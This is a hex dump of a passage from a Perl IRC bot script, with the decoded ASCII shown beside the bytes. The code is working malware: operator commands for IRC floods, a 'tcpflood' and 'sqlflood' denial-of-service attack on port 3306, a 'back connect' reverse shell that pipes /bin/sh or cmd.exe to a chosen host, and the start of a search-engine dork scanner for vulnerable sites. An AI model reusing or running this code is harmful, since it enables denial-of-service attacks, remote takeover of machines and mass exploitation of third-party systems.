41504:	22	2E	28	69	6E	74	28	72	61	6E	64	28	39	39	39	39	39	29	29	29	20	29	3B	0D	0A	20	20	20	7D	0D	0A	20	".(int(rand(99999))) ); }
41536:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
41568:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	43	68	61	6E	6E	65	RIVMSG $printl :12[4@3Channe
41600:	6C	46	6C	6F	6F	64	02	03	31	32	5D	03	31	34	20	45	78	63	65	63	75	74	65	64	20	22	29	3B	0D	0A	7D	0D	lFlood12]14 Excecuted "); }
41632:	0A	23	20	4D	61	78	69	20	46	6C	6F	6F	64	2C	20	40	6D	61	78	69	66	6C	6F	6F	64	0D	0A	69	66	20	28	24	# Maxi Flood, @maxiflood if ($
41664:	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	6D	61	78	69	66	6C	6F	6F	64	28	2E	2A	29	2F	29	20	7B	0D	0A	funcarg =~ /^maxiflood(.*)/) {
41696:	20	20	20	66	6F	72	28	24	69	3D	30	3B	20	24	69	3C	3D	31	35	3B	20	24	69	2B	3D	31	29	7B	0D	0A	20	20	for($i= ; $i<=15; $i+=1){
41728:	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
41760:	22	4E	4F	54	49	43	45	20	22	2E	24	31	2E	22	20	3A	77	33	74	46	6C	30	30	44	5C	6E	22	29	3B	0D	0A	20	"NOTICE ".$1." :w3tFl D\n");
41792:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
41824:	20	22	50	52	49	56	4D	53	47	20	22	2E	24	31	2E	22	20	3A	5C	30	30	31	56	45	52	53	49	4F	4E	5C	30	30	"PRIVMSG ".$1." :\ 1VERSION\
41856:	31	5C	6E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	1\n"); sendraw($IRC_cu
41888:	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	22	2E	24	31	2E	22	20	3A	5C	30	30	31	50	r_socket, "PRIVMSG ".$1." :\ 1P
41920:	49	4E	47	5C	30	30	31	5C	6E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	ING\ 1\n"); sendraw($
41952:	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	22	2E	24	31	2E	22	20	IRC_cur_socket, "PRIVMSG ".$1."
41984:	3A	77	33	74	46	6C	30	30	44	5C	6E	22	29	3B	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	7D	0D	0A	20	:w3tFl D\n"); }
42016:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
42048:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4D	34	58	69	2D	46	RIVMSG $printl :12[4@3M4Xi-F
42080:	6C	30	30	64	02	03	31	32	5D	03	31	34	20	45	78	63	65	63	75	74	65	64	20	6F	6E	20	22	2E	24	31	2E	22	l d12]14 Excecuted on ".$1."
42112:	20	22	29	3B	0D	0A	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	"); } ######################
42144:	0A	23	20	20	69	72	63	20	20	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	# irc # ##################
42176:	23	23	23	23	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	#### if ($funcarg =~ /
42208:	5E	72	65	73	65	74	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	^reset/) { sendraw(
42240:	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	51	55	49	54	20	3A	22	29	3B	0D	0A	20	20	20	$IRC_cur_socket, "QUIT :");
42272:	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	} if ($funcarg =
42304:	7E	20	2F	5E	6A	6F	69	6E	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	~ /^join (.*)/) { s
42336:	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	4A	4F	49	4E	20	22	2E	endraw($IRC_cur_socket, "JOIN ".
42368:	24	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	$1); } if ($
42400:	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	70	61	72	74	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	funcarg =~ /^part (.*)/) {
42432:	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	sendraw($IRC_cur_socket,
42464:	20	22	50	41	52	54	20	22	2E	24	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	"PART ".$1); }
42496:	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	76	6F	69	63	65	20	28	2E	2A	29	if ($funcarg =~ /^voice (.*)
42528:	2F	29	20	7B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	/) { sendraw($IRC_
42560:	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	4D	4F	44	45	20	24	70	72	69	6E	74	6C	20	2B	76	20	22	2E	24	cur_socket, "MODE $printl +v ".$
42592:	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	1); } if (
42624:	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	64	65	76	6F	69	63	65	20	28	2E	2A	29	2F	29	20	7B	20	0D	$funcarg =~ /^devoice (.*)/) {
42656:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	sendraw($IRC_cur_so
42688:	63	6B	65	74	2C	20	22	4D	4F	44	45	20	24	70	72	69	6E	74	6C	20	2D	76	20	22	2E	24	31	29	3B	0D	0A	20	cket, "MODE $printl -v ".$1);
42720:	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	} if ($funca
42752:	72	67	20	3D	7E	20	2F	5E	68	61	6C	66	6F	70	20	28	2E	2A	29	2F	29	20	7B	20	0D	0A	20	20	20	20	20	20	rg =~ /^halfop (.*)/) {
42784:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
42816:	4D	4F	44	45	20	24	70	72	69	6E	74	6C	20	2B	68	20	22	2E	24	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	MODE $printl +h ".$1);
42848:	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	} if ($funcarg =~ /
42880:	5E	64	65	68	61	6C	66	6F	70	20	28	2E	2A	29	2F	29	20	7B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	^dehalfop (.*)/) {
42912:	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	4D	4F	44	45	20	sendraw($IRC_cur_socket, "MODE
42944:	24	70	72	69	6E	74	6C	20	2D	68	20	22	2E	24	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	7D	0D	$printl -h ".$1); }
42976:	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	6F	77	6E	65	if ($funcarg =~ /^owne
43008:	72	20	28	2E	2A	29	2F	29	20	7B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	r (.*)/) { sendraw
43040:	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	4D	4F	44	45	20	24	70	72	69	6E	74	6C	20	($IRC_cur_socket, "MODE $printl
43072:	2B	71	20	22	2E	24	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	+q ".$1); }
43104:	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	64	65	6F	77	6E	65	72	20	28	2E	2A	29	if ($funcarg =~ /^deowner (.*)
43136:	2F	29	20	7B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	/) { sendraw($IRC_
43168:	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	4D	4F	44	45	20	24	70	72	69	6E	74	6C	20	2D	71	20	22	2E	24	cur_socket, "MODE $printl -q ".$
43200:	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	1); } if ($f
43232:	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	6F	70	20	28	2E	2A	29	2F	29	20	7B	20	0D	0A	20	20	20	20	20	20	uncarg =~ /^op (.*)/) {
43264:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
43296:	4D	4F	44	45	20	24	70	72	69	6E	74	6C	20	2B	6F	20	22	2E	24	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	MODE $printl +o ".$1);
43328:	20	20	20	7D	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	} if ($fun
43360:	63	61	72	67	20	3D	7E	20	2F	5E	64	65	6F	70	20	28	2E	2A	29	2F	29	20	7B	20	0D	0A	20	20	20	20	20	20	carg =~ /^deop (.*)/) {
43392:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
43424:	4D	4F	44	45	20	24	70	72	69	6E	74	6C	20	2D	6F	20	22	2E	24	31	29	3B	0D	0A	20	20	20	20	20	20	20	20	MODE $printl -o ".$1);
43456:	20	20	20	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	45	} ###################### #E
43488:	6E	64	20	6F	66	20	4A	6F	69	6E	20	41	6E	64	20	50	61	72	74	23	0D	0A	23	23	23	23	23	23	23	23	23	23	nd of Join And Part# ##########
43520:	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	############ ##################
43552:	23	23	23	23	0D	0A	23	20	20	20	20	20	54	43	50	46	6C	6F	6F	64	20	20	20	20	20	20	20	23	0D	0A	23	23	#### # TCPFlood # ##
43584:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	0D	0A	20	20	20	20	20	20	20	20	####################
43616:	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	74	63	70	66	6C	6F	6F	64	5C	73	2B	28	2E	if ($funcarg =~ /^tcpflood\s+(.
43648:	2A	29	5C	73	2B	28	5C	64	2B	29	5C	73	2B	28	5C	64	2B	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	*)\s+(\d+)\s+(\d+)/) {
43680:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
43712:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	54	43	50	2D	44	44	4F	IVMSG $printl :12[4@3TCP-DDO
43744:	53	02	03	31	32	5D	20	41	74	74	61	63	6B	69	6E	67	20	03	34	20	22	2E	24	31	2E	22	3A	22	2E	24	32	2E	S12] Attacking 4 ".$1.":".$2.
43776:	22	20	03	31	32	66	6F	72	20	03	34	20	22	2E	24	33	2E	22	20	03	31	32	73	65	63	6F	6E	64	73	2E	22	29	" 12for 4 ".$3." 12seconds.")
43808:	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	69	74	69	6D	65	20	3D	20	74	69	6D	65	3B	; my $itime = time;
43840:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	28	24	63	75	72	5F	74	69	6D	65	29	3B	0D	0A	20	my ($cur_time);
43872:	20	20	20	20	20	20	20	20	20	20	20	24	63	75	72	5F	74	69	6D	65	20	3D	20	74	69	6D	65	20	2D	20	24	69	$cur_time = time - $i
43904:	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	77	68	69	6C	65	20	28	24	33	3E	24	63	75	time; while ($3>$cu
43936:	72	5F	74	69	6D	65	29	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	63	75	72	5F	74	69	r_time){ $cur_ti
43968:	6D	65	20	3D	20	74	69	6D	65	20	2D	20	24	69	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	me = time - $itime;
44000:	20	20	20	20	26	74	63	70	66	6C	6F	6F	64	65	72	28	22	24	31	22	2C	22	24	32	22	2C	22	24	33	22	29	3B	&tcpflooder("$1","$2","$3");
44032:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	} sen
44064:	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	22	50	52	49	56	4D	53	47	20	24	70	draw($IRC_cur_socket,"PRIVMSG $p
44096:	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	54	43	50	2D	44	44	4F	53	02	03	31	32	5D	20	41	rintl :12[4@3TCP-DDOS12] A
44128:	74	74	61	63	6B	20	64	6F	6E	65	20	03	34	20	22	2E	24	31	2E	22	3A	22	2E	24	32	2E	22	2E	22	29	3B	0D	ttack done 4 ".$1.":".$2.".");
44160:	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	} ###################
44192:	23	23	23	0D	0A	23	20	20	45	6E	64	20	6F	66	20	54	43	50	46	6C	6F	6F	64	20	20	20	23	0D	0A	23	23	23	### # End of TCPFlood # ###
44224:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	################### ###########
44256:	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	53	51	4C	########### # SQL
44288:	20	46	6C	30	30	64	45	72	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	0D	0A	Fl dEr #
44320:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	69	66	20	28	24	66	75	6E	###################### if ($fun
44352:	63	61	72	67	20	3D	7E	20	2F	5E	73	71	6C	66	6C	6F	6F	64	5C	73	2B	28	2E	2A	29	5C	73	2B	28	5C	64	2B	carg =~ /^sqlflood\s+(.*)\s+(\d+
44384:	29	2F	29	20	7B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	)/) { sendraw($IRC_cur_socket,
44416:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	53	51	4C	2D	"PRIVMSG $printl :12[4@3SQL-
44448:	44	44	4F	53	02	03	31	32	5D	20	41	74	74	61	63	6B	69	6E	67	03	20	03	34	20	22	2E	24	31	2E	22	20	03	DDOS12] Attacking 4 ".$1."
44480:	31	32	20	6F	6E	20	70	6F	72	74	20	33	33	30	36	20	66	6F	72	20	03	34	20	22	2E	24	32	2E	22	20	03	31	12 on port 33 6 for 4 ".$2." 1
44512:	32	20	73	65	63	6F	6E	64	73	20	03	2E	22	29	3B	0D	0A	6D	79	20	24	69	74	69	6D	65	20	3D	20	74	69	6D	2 seconds ."); my $itime = tim
44544:	65	3B	0D	0A	6D	79	20	28	24	63	75	72	5F	74	69	6D	65	29	3B	0D	0A	24	63	75	72	5F	74	69	6D	65	20	3D	e; my ($cur_time); $cur_time =
44576:	20	74	69	6D	65	20	2D	20	24	69	74	69	6D	65	3B	0D	0A	77	68	69	6C	65	20	28	24	32	3E	24	63	75	72	5F	time - $itime; while ($2>$cur_
44608:	74	69	6D	65	29	7B	0D	0A	24	63	75	72	5F	74	69	6D	65	20	3D	20	74	69	6D	65	20	2D	20	24	69	74	69	6D	time){ $cur_time = time - $itim
44640:	65	3B	0D	0A	20	20	20	6D	79	20	24	73	6F	63	6B	65	74	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	74	3A	3A	e; my $socket = IO::Socket::
44672:	49	4E	45	54	2D	3E	6E	65	77	28	70	72	6F	74	6F	3D	3E	27	74	63	70	27	2C	20	50	65	65	72	41	64	64	72	INET->new(proto=>'tcp', PeerAddr
44704:	3D	3E	24	31	2C	20	50	65	65	72	50	6F	72	74	3D	3E	33	33	30	36	29	3B	0D	0A	20	20	20	70	72	69	6E	74	=>$1, PeerPort=>33 6); print
44736:	20	24	73	6F	63	6B	65	74	20	22	47	45	54	20	2F	20	48	54	54	50	2F	31	2E	31	5C	72	5C	6E	41	63	63	65	$socket "GET / HTTP/1.1\r\nAcce
44768:	70	74	3A	20	2A	2F	2A	5C	72	5C	6E	48	6F	73	74	3A	20	22	2E	24	31	2E	22	5C	72	5C	6E	43	6F	6E	6E	65	pt: /\r\nHost: ".$1."\r\nConne
44800:	63	74	69	6F	6E	3A	20	4B	65	65	70	2D	41	6C	69	76	65	5C	72	5C	6E	5C	72	5C	6E	22	3B	0D	0A	63	6C	6F	ction: Keep-Alive\r\n\r\n"; clo
44832:	73	65	28	24	73	6F	63	6B	65	74	29	3B	0D	0A	7D	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	se($socket); } sendraw($IRC_cu
44864:	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	r_socket, "PRIVMSG $printl :12[
44896:	02	03	34	40	03	33	53	51	4C	2D	44	44	4F	53	02	03	31	32	5D	20	41	74	74	61	63	6B	69	6E	67	20	64	6F	4@3SQL-DDOS12] Attacking do
44928:	6E	65	03	20	03	34	20	22	2E	24	31	2E	22	2E	22	29	3B	0D	0A	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	ne 4 ".$1."."); } ##########
44960:	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	42	61	63	6B	20	43	6F	6E	6E	65	63	74	20	20	############ # Back Connect
44992:	20	20	20	23	0D	0A	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	# ######################
45024:	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	62	61	63	6B	5C	if ($funcarg =~ /^back\
45056:	73	2B	28	2E	2A	29	5C	73	2B	28	5C	64	2B	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	s+(.*)\s+(\d+)/) {
45088:	6D	79	20	24	68	6F	73	74	20	3D	20	22	24	31	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	my $host = "$1"; my
45120:	20	24	70	6F	72	74	61	20	3D	20	22	24	32	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	$porta = "$2"; my
45152:	24	70	72	6F	74	6F	20	3D	20	67	65	74	70	72	6F	74	6F	62	79	6E	61	6D	65	28	27	74	63	70	27	29	3B	0D	$proto = getprotobyname('tcp');
45184:	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	69	61	64	64	72	20	3D	20	69	6E	65	74	5F	61	74	my $iaddr = inet_at
45216:	6F	6E	28	24	68	6F	73	74	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	70	61	64	64	on($host); my $padd
45248:	72	20	3D	20	73	6F	63	6B	61	64	64	72	5F	69	6E	28	24	70	6F	72	74	61	2C	20	24	69	61	64	64	72	29	3B	r = sockaddr_in($porta, $iaddr);
45280:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	73	68	65	6C	6C	20	3D	20	22	2F	62	69	6E	2F	my $shell = "/bin/
45312:	73	68	20	2D	69	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	69	66	20	28	24	5E	4F	20	65	71	20	sh -i"; if ($^O eq
45344:	22	4D	53	57	69	6E	33	32	22	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	24	73	68	"MSWin32") { $sh
45376:	65	6C	6C	20	3D	20	22	63	6D	64	2E	65	78	65	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	ell = "cmd.exe"; }
45408:	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	6F	63	6B	65	74	28	53	4F	43	4B	45	54	2C	20	50	46	5F	49	socket(SOCKET, PF_I
45440:	4E	45	54	2C	20	53	4F	43	4B	5F	53	54	52	45	41	4D	2C	20	24	70	72	6F	74	6F	29	20	6F	72	20	64	69	65	NET, SOCK_STREAM, $proto) or die
45472:	20	22	73	6F	63	6B	65	74	3A	20	24	21	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	63	6F	6E	6E	"socket: $!"; conn
45504:	65	63	74	28	53	4F	43	4B	45	54	2C	20	24	70	61	64	64	72	29	20	6F	72	20	64	69	65	20	22	63	6F	6E	6E	ect(SOCKET, $paddr) or die "conn
45536:	65	63	74	3A	20	24	21	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6F	70	65	6E	28	53	54	44	49	ect: $!"; open(STDI
45568:	4E	2C	20	22	3E	26	53	4F	43	4B	45	54	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6F	70	65	N, ">&SOCKET"); ope
45600:	6E	28	53	54	44	4F	55	54	2C	20	22	3E	26	53	4F	43	4B	45	54	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	n(STDOUT, ">&SOCKET");
45632:	20	20	20	20	6F	70	65	6E	28	53	54	44	45	52	52	2C	20	22	3E	26	53	4F	43	4B	45	54	22	29	3B	0D	0A	20	open(STDERR, ">&SOCKET");
45664:	20	20	20	20	20	20	20	20	20	20	20	73	79	73	74	65	6D	28	22	24	73	68	65	6C	6C	22	29	3B	0D	0A	20	20	system("$shell");
45696:	20	20	20	20	20	20	20	20	20	20	63	6C	6F	73	65	28	53	54	44	49	4E	29	3B	0D	0A	20	20	20	20	20	20	20	close(STDIN);
45728:	20	20	20	20	20	63	6C	6F	73	65	28	53	54	44	4F	55	54	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	close(STDOUT);
45760:	20	63	6C	6F	73	65	28	53	54	44	45	52	52	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	69	66	20	close(STDERR); if
45792:	28	24	65	73	74	61	74	69	73	74	69	63	61	73	29	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	($estatisticas){
45824:	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	sendraw($IRC_cur_socket, "PRIVM
45856:	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	42	61	63	6B	2D	43	6F	6E	6E	65	SG $printl :12[4@3Back-Conne
45888:	63	74	02	03	31	32	5D	20	43	6F	6E	6E	65	63	74	69	6E	67	20	74	6F	20	03	34	20	24	68	6F	73	74	3A	24	ct12] Connecting to 4 $host:$
45920:	70	6F	72	74	61	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	porta"); }
45952:	20	20	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	45	6E	} ###################### #En
45984:	64	20	6F	66	20	20	42	61	63	6B	20	43	6F	6E	6E	65	63	74	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	d of Back Connect# ###########
46016:	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	########### ###################
46048:	23	23	23	0D	0A	23	20	20	20	20	4D	55	4C	54	49	20	53	43	41	4E	4E	45	52	20	20	20	23	0D	0A	23	23	23	### # MULTI SCANNER # ###
46080:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	69	66	20	28	24	66	75	6E	63	61	72	################### if ($funcar
46112:	67	20	3D	7E	20	2F	5E	6D	75	6C	74	69	73	63	61	6E	5C	73	2B	28	2E	2A	3F	29	5C	73	2B	28	2E	2A	29	2F	g =~ /^multiscan\s+(.?)\s+(.)/
46144:	29	7B	0D	0A	69	66	20	28	6D	79	20	24	70	69	64	20	3D	20	66	6F	72	6B	29	20	7B	0D	0A	77	61	69	74	70	){ if (my $pid = fork) { waitp
46176:	69	64	28	24	70	69	64	2C	20	30	29	3B	0D	0A	7D	20	65	6C	73	65	20	7B	0D	0A	69	66	20	28	66	6F	72	6B	id($pid, ); } else { if (fork
46208:	29	20	7B	0D	0A	65	78	69	74	3B	0D	0A	7D	20	65	6C	73	65	20	7B	0D	0A	6D	79	20	24	62	75	67	3D	24	31	) { exit; } else { my $bug=$1
46240:	3B	0D	0A	6D	79	20	24	64	6F	72	6B	3D	24	32	3B	0D	0A	6D	79	20	24	63	6F	6E	74	61	74	6F	72	65	3D	30	; my $dork=$2; my $contatore=
46272:	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	28	24	74	79	70	65	2C	24	; my ($type,$
46304:	73	70	61	63	65	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	25	68	space); my %h
46336:	6F	73	74	73	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	23	23	20	53	74	61	osts; ### Sta
46368:	72	74	20	4D	65	73	73	61	67	65	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	65	rt Message se
46400:	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	ndraw($IRC_cur_socket, "PRIVMSG
46432:	24	70	72	69	6E	74	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	$printl :12[4@3Multi-Scan1
46464:	32	5D	20	53	74	61	72	74	69	6E	67	20	53	63	61	6E	20	66	6F	72	20	03	34	24	62	75	67	20	24	64	6F	72	2] Starting Scan for 4$bug $dor
46496:	6B	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	k"); sendraw(
46528:	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	$IRC_cur_socket, "PRIVMSG $print
46560:	6C	20	3A	03	31	32	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	53	63	61	6E	02	03	31	32	5D	20	49	6E	69	l :12[4@3Multi-Scan12] Ini
46592:	74	69	61	6C	69	7A	69	6E	67	20	6F	6E	20	03	34	35	20	03	31	32	53	65	61	72	63	68	20	45	6E	67	69	6E	tializing on 45 12Search Engin
46624:	65	73	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	23	23	23	20	45	6E	es "); ### En
46656:	64	20	6F	66	20	53	74	61	72	74	20	4D	65	73	73	61	67	65	0D	0A	23	20	53	74	61	72	74	69	6E	67	20	47	d of Start Message # Starting G
46688:	6F	6F	67	6C	65	0D	0A	20	20	20	6D	79	20	40	67	6C	69	73	74	3D	26	67	6F	6F	67	6C	65	28	24	64	6F	72	oogle my @glist=&google($dor
46720:	6B	29	3B	0D	0A	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	k); sendraw($IRC_cur_socket, "P
46752:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	02	1F	03	37	5B	02	03	34	40	03	33	4D	75	6C	74	69	2D	RIVMSG $printl 7[4@3Multi-
